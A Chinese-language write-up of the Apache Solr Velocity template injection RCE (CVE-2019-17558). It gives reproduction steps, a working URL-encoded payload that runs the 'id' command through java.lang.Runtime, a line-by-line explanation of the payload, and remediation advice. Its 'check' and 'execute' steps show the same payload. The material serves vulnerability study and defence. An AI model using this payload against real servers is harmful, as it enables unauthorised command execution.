插件窝 干货文章 Apache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr velocity模板注入RCE漏洞的示例分析

Velocity 模板 Solr 27 705    来源:    2025-04-23

Apache Solr Velocity模板注入RCE漏洞分析

漏洞概述

Apache Solr是一个流行的开源搜索平台,基于Apache Lucene构建。Velocity模板注入漏洞(CVE-2019-17558)影响Solr 5.0.0至8.3.1版本,允许攻击者通过精心构造的HTTP请求在服务器上执行任意代码。

漏洞原理

该漏洞源于Solr的Velocity响应编写器(velocity response writer)功能,当Solr配置为使用Velocity模板时,攻击者可以注入恶意Velocity模板代码,导致服务器端模板注入,最终实现远程代码执行(RCE)。

关键点: - Solr默认包含params.resource.loader.enabled设置,允许加载远程模板 - Velocity模板引擎允许执行Java代码 - 攻击者可以控制模板内容

漏洞复现示例

环境搭建

  1. 下载受影响版本的Solr(如8.2.0)
  2. 启动Solr:bin/solr start
  3. 创建核心:bin/solr create -c test_core

攻击步骤

步骤1:检查是否启用Velocity

GET /solr/test_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: target.com

步骤2:执行任意命令

以下请求将执行id命令并返回结果:

GET /solr/test_core/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: target.com

漏洞利用代码分析

上述Payload的工作原理:

  1. %23set($x=%27%27) - 初始化变量
  2. %23set($rt=$x.class.forName(%27java.lang.Runtime%27)) - 获取Runtime类
  3. %23set($chr=$x.class.forName(%27java.lang.Character%27)) - 获取Character类
  4. %23set($str=$x.class.forName(%27java.lang.String%27)) - 获取String类
  5. %23set($ex=$rt.getRuntime().exec(%27id%27)) - 执行系统命令
  6. $ex.waitFor() - 等待命令执行完成
  7. %23set($out=$ex.getInputStream()) - 获取命令输出流
  8. %23foreach循环读取并输出命令结果

修复方案

  1. 升级Solr:升级到8.4.0或更高版本
  2. 禁用Velocity:在solrconfig.xml中禁用Velocity响应编写器 xml <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"> <bool name="params.resource.loader.enabled">false</bool> </queryResponseWriter>
  3. 网络防护:限制对Solr管理界面的访问

总结

此漏洞展示了模板注入攻击的威力,特别是当模板引擎能够访问底层系统功能时。开发人员应始终对用户提供的模板内容进行严格过滤,并禁用不必要的功能组件。